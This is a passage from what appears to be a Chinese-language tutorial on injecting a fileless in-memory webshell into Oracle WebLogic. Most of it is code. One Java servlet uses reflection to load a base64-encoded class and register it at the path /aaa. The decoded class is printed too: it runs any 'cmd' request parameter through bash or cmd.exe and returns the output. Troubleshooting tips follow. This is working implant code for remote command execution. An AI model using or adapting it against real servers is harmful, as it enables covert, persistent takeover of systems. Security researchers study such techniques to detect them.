  2. import weblogic.servlet.internal.ServletRequestImpl;
  3. import weblogic.servlet.internal.ServletStubImpl;
  4. import weblogic.servlet.internal.WebAppServletContext;
  5. import weblogic.servlet.utils.ServletMapping;
  6. import javax.servlet.http.HttpServlet;
  7. import javax.servlet.http.HttpServletRequest;
  8. import javax.servlet.http.HttpServletResponse;
  9. import java.io.IOException;
  10. import java.lang.reflect.Constructor;
  11. import java.lang.reflect.Field;
  12. import java.lang.reflect.Method;
  13. import java.util.Map;
  14. public class guguguServlet extends HttpServlet {
  15. public void init() {
  16. }
  17. public void doGet(HttpServletRequest request, HttpServletResponse response) throws IOException {
  18. try {
  19. String URI = "/aaa";
  20. //获取servletContext
  21. Thread thread = Thread.currentThread();
  22. //获取WebAppServletContext
  23. Field workEntry = Class.forName("weblogic.work.ExecuteThread").getDeclaredField("workEntry");
  24. workEntry.setAccessible(true);
  25. Object workentry = workEntry.get(thread);
  26. WebAppServletContext servletContext = null;
  27. try { //weblogic 12.1.3
  28. Field connectionHandler = workentry.getClass().getDeclaredField("connectionHandler");
  29. connectionHandler.setAccessible(true);
  30. Object http = connectionHandler.get(workentry);
  31. Field request1 = http.getClass().getDeclaredField("request");
  32. request1.setAccessible(true);
  33. ServletRequestImpl servletRequest = (ServletRequestImpl) request1.get(http);
  34. Field context = servletRequest.getClass().getDeclaredField("context");
  35. context.setAccessible(true);
  36. servletContext = (WebAppServletContext) context.get(servletRequest);
  37. } catch (Exception e) {
  38. //weblogic 1036
  39. Field context = workentry.getClass().getDeclaredField("context");
  40. context.setAccessible(true);
  41. servletContext = (WebAppServletContext) context.get(workentry);
  42. }
  43. // 获取servletMapping
  44. Method getServletMapping = servletContext.getClass().getDeclaredMethod("getServletMapping");
  45. getServletMapping.setAccessible(true);
  46. ServletMapping mappings = (ServletMapping) getServletMapping.invoke(servletContext);
  47. ServletStubImpl servletStub = null;
  48. // 使用ServletStub包装HttpServlet
  49. String encode_class = "yv66vgAAADMAkAoAHwBJCAA6CwBKAEsIAEwKAE0ATgoACQBPCABQCgAJAFEHAFIIAFMIAFQIAFUIAFYKAFcAWAoAVwBZCgBaAFsHAFwKABEAXQgAXgoAEQBfCgARAGAKABEAYQgAYgsAYwBkCgBlAGYKAGUAZwoAZQBoCABpCgBlAGoHAGsHAGwBAAY8aW5pdD4BAAMoKVYBAARDb2RlAQAPTGluZU51bWJlclRhYmxlAQASTG9jYWxWYXJpYWJsZVRhYmxlAQAEdGhpcwEADUxodHRwU2VydmxldDsBAAVkb0dldAEAUihMamF2YXgvc2VydmxldC9odHRwL0h0dHBTZXJ2bGV0UmVxdWVzdDtMamF2YXgvc2VydmxldC9odHRwL0h0dHBTZXJ2bGV0UmVzcG9uc2U7KVYBAAdpc0xpbnV4AQABWgEABW9zVHlwAQASTGphdmEvbGFuZy9TdHJpbmc7AQAEY21kcwEAE1tMamF2YS9sYW5nL1N0cmluZzsBAAJpbgEAFUxqYXZhL2lvL0lucHV0U3RyZWFtOwEAAXMBABNMamF2YS91dGlsL1NjYW5uZXI7AQAGb3V0cHV0AQADb3V0AQAVTGphdmEvaW8vUHJpbnRXcml0ZXI7AQADcmVxAQAnTGphdmF4L3NlcnZsZXQvaHR0cC9IdHRwU2VydmxldFJlcXVlc3Q7AQAEcmVzcAEAKExqYXZheC9zZXJ2bGV0L2h0dHAvSHR0cFNlcnZsZXRSZXNwb25zZTsBAANjbWQBAA1TdGFja01hcFRhYmxlBwBSBwAuBwBtBwBcBwBSBwBrBwBuBwBvAQAKRXhjZXB0aW9ucwcAcAcAcQEAClNvdXJjZUZpbGUBABBodHRwU2VydmxldC5qYXZhDAAgACEHAG4MAHIAcwEAB29zLm5hbWUHAHQMAHUAcwwAdgB3AQADd2luDAB4AHkBABBqYXZhL2xhbmcvU3RyaW5nAQAEYmFzaAEAAi1jAQAHY21kLmV4ZQEAAi9jBwB6DAB7AHwMAH0AfgcAfwwAgACBAQARamF2YS91dGlsL1NjYW5uZXIMACAAggEAA1xcYQwAgwCEDACFAIYMAIcAdwEAAAcAbwwAiACJBwCKDACLAIwMAI0AIQwAjgAhAQAHbm90aGluZwwAjwCMAQALaHR0cFNlcnZsZXQBAB5qYXZheC9zZXJ2bGV0L2h0dHAvSHR0cFNlcnZsZXQBABNqYXZhL2lvL0lucHV0U3RyZWFtAQAlamF2YXgvc2VydmxldC9odHRwL0h0dHBTZXJ2bGV0UmVxdWVzdAEAJmphdmF4L3NlcnZsZXQvaHR0cC9IdHRwU2VydmxldFJlc3BvbnNlAQAeamF2YXgvc2VydmxldC9TZXJ2bGV0RXhjZXB0aW9uAQATamF2YS9pby9JT0V4Y2VwdGlvbgEADGdldFBhcmFtZXRlcgEAJihMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9TdHJpbmc7AQAQamF2YS9sYW5nL1N5c3RlbQEAC2dldFByb3BlcnR5AQALdG9Mb3dlckNhc2UBABQoKUxqYXZhL2xhbmcvU3RyaW5nOwEACGNvbnRhaW5zAQAbKExqYXZhL2xhbmcvQ2hhclNlcXVlbmNlOylaAQARamF2YS9sYW5nL1J1bnRpbWUBAApnZXRSdW50aW1lAQAVKClMamF2YS9sYW5nL1J1bnRpbWU7AQAEZXhlYwEAKChbTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvUHJvY2VzczsBABFqYXZhL2xhbmcvUHJvY2VzcwEADmdldElucHV0U3RyZWFtAQAXKClMamF2YS9pby9JbnB1dFN0cmVhbTsBABgoTGphdmEvaW8vSW5wdXRTdHJlYW07KVYBAAx1c2VEZWxpbWl0ZXIBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL3V0aWwvU2Nhbm5lcjsBAAdoYXNOZXh0AQADKClaAQAEbmV4dAEACWdldFdyaXRlcgEAFygpTGphdmEvaW8vUHJpbnRXcml0ZXI7AQATamF2YS9pby9QcmludFdyaXRlcgEAB3ByaW50bG4BABUoTGphdmEvbGFuZy9TdHJpbmc7KVYBAAVmbHVzaAEABWNsb3NlAQAFd3JpdGUAIQAeAB8AAAAAAAIAAQAgACEAAQAiAAAALwABAAEAAAAFKrcAAbEAAAACACMAAAAGAAEAAAALACQAAAAMAAEAAAAFACUAJgAAAAQAJwAoAAIAIgAAAbwABAALAAAAsysSArkAAwIATi3GAJ0ENgQSBLgABToFGQXGABMZBbYABhIHtgAImQAGAzYEFQSZABgGvQAJWQMSClNZBBILU1kFLVOnABUGvQAJWQMSDFNZBBINU1kFLVM6BrgADhkGtgAPtgAQOge7ABFZGQe3ABISE7YAFDoIGQi2ABWZAAsZCLYAFqcABRIXOgksuQAYAQA6ChkKGQm2ABkZCrYAGhkKtgAbpwAOLLkAGAEAEhy2AB2xAAAAAwAjAAAARgARAAAADgAJAA8ADQAQABAAEQAXABIAKQATACwAFQBaABYAZwAXAHcAGACLABkAkwAaAJoAGwCfABwApAAdAKcAHgCyACAAJAAAAHAACwAQAJQAKQAqAAQAFwCNACsALAAFAFoASgAtAC4ABgBnAD0ALwAwAAcAdwAtADEAMgAIAIsAGQAzACwACQCTABEANAA1AAoAAACzACUAJgAAAAAAswA2ADcAAQAAALMAOAA5AAIACQCqADoALAADADsAAAA1AAf+ACwHADwBBwA8GVEHAD3+AC4HAD0HAD4HAD9BBwBA/wAdAAQHAEEHAEIHAEMHADwAAAoARAAAAAYAAgBFAEYAAQBHAAAAAgBI";
  50. byte[] decode_class = new BASE64Decoder().decodeBuffer(encode_class);
  51. Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, Integer.TYPE, Integer.TYPE);
  52. defineClass.setAccessible(true);
  53. //这里为了适配weblogic 1036 必须反射获取webAppServletContext中的classLoader
  54. Field loader = servletContext.getClass().getDeclaredField("classLoader");
  55. loader.setAccessible(true);
  56. ClassLoader ClassLoader0 = (ClassLoader) loader.get(servletContext);
  57. Class servlet_class = (Class) defineClass.invoke(ClassLoader0, decode_class, 0, decode_class.length);
  58. //获取ChangeAwareClassLoader,因为cachedClasses这个变量在ChangeAwareClassLoader中
  59. Field classLoader = servletContext.getClass().getDeclaredField("classLoader");
  60. classLoader.setAccessible(true);
  61. ClassLoader classLoader1 = (ClassLoader) classLoader.get(servletContext);
  62. //获取cachedClasses
  63. Field cachedClasses = classLoader1.getClass().getDeclaredField("cachedClasses");
  64. cachedClasses.setAccessible(true);
  65. Object cachedClasses_map = cachedClasses.get(classLoader1);
  66. Method get = cachedClasses_map.getClass().getDeclaredMethod("get", Object.class);
  67. get.setAccessible(true);
  68. //把cmdServlet的class存入cachedClasses中
  69. Method put = cachedClasses_map.getClass().getMethod("put", Object.class, Object.class);
  70. put.setAccessible(true);
  71. put.invoke(cachedClasses_map, "cmdServlet", servlet_class);
  72. try {
  73. Constructor<?> ServletStubImplConstructor = Class.forName("weblogic.servlet.internal.ServletStubImpl").getDeclaredConstructor(String.class, String.class, WebAppServletContext.class);
  74. ServletStubImplConstructor.setAccessible(true);
  75. servletStub = (ServletStubImpl) ServletStubImplConstructor.newInstance(URI, "cmdServlet", servletContext);
  76. } catch (Exception e) {
  77. Constructor<?> ServletStubImplConstructor = Class.forName("weblogic.servlet.internal.ServletStubImpl").getDeclaredConstructor(String.class, String.class, WebAppServletContext.class, Map.class);
  78. ServletStubImplConstructor.setAccessible(true);
  79. servletStub = (ServletStubImpl) ServletStubImplConstructor.newInstance(URI, "cmdServlet", servletContext, null);
  80. }
  81. // 使用URLMathchHelper包装ServletStub
  82. Constructor<?> URLMatchHelperConstructor = Class.forName("weblogic.servlet.internal.URLMatchHelper").getDeclaredConstructor(String.class, ServletStubImpl.class);
  83. URLMatchHelperConstructor.setAccessible(true);
  84. Object umh = URLMatchHelperConstructor.newInstance(URI, servletStub);
  85. // 添加到ServletMapping中,即代表注入servlet内存马成功
  86. if (mappings.get(URI) == null) {
  87. mappings.put(URI, umh);
  88. response.getWriter().println("success");
  89. }else{
  90. response.getWriter().println("already exist");
  91. }
  92. } catch (Exception e) {
  93. e.printStackTrace();
  94. }
  95. }
  96. public void destroy() {
  97. }
  98. }

Base64字符串加载的类

  1. import javax.servlet.ServletException;
  2. import javax.servlet.http.HttpServlet;
  3. import javax.servlet.http.HttpServletRequest;
  4. import javax.servlet.http.HttpServletResponse;
  5. import java.io.IOException;
  6. import java.io.InputStream;
  7. import java.io.PrintWriter;
  8. import java.util.Scanner;
  9. public class httpServlet extends HttpServlet {
  10. @Override
  11. protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
  12. String cmd = req.getParameter("cmd");
  13. if(cmd != null){
  14. boolean isLinux = true;
  15. String osTyp = System.getProperty("os.name");
  16. if (osTyp != null && osTyp.toLowerCase().contains("win")) {
  17. isLinux = false;
  18. }
  19. String[] cmds = isLinux ? new String[]{"bash", "-c", cmd} : new String[]{"cmd.exe", "/c", cmd};
  20. InputStream in = Runtime.getRuntime().exec(cmds).getInputStream();
  21. Scanner s = new Scanner(in).useDelimiter("\\\\a");
  22. String output = s.hasNext() ? s.next() : "";
  23. PrintWriter out = resp.getWriter();
  24. out.println(output);
  25. out.flush();
  26. out.close();
  27. }else {
  28. resp.getWriter().write("nothing");
  29. }
  30. }
  31. }

可能踩坑的地方

1、修改web.xml的头部

  1. <?xml version="1.0" encoding="UTF-8"?>
  2. <web-app xmlns:j2ee="http://java.sun.com/xml/ns/j2ee">
  3. </web-app>

2、如果报错 Command line is too long. Shorten command line….

修改项目下 .idea\workspace.xml,找到标签 , 在标签里加一行

3、Base64字符串加载的类由于JDK版本不同,在不同环境下可能无法执行,文中的base64字符串加载的类是JDK 1.7.080编译的。

4、注入的类名不能在同一个项目中测试,因为类加载不能加载相同名字的类

参考文章

https://myzxcg.com/2021/11/Weblogic-%E5%86%85%E5%AD%98%E9%A9%AC%E5%88%86%E6%9E%90%E4%B8%8E%E5%AE%9E%E7%8E%B0/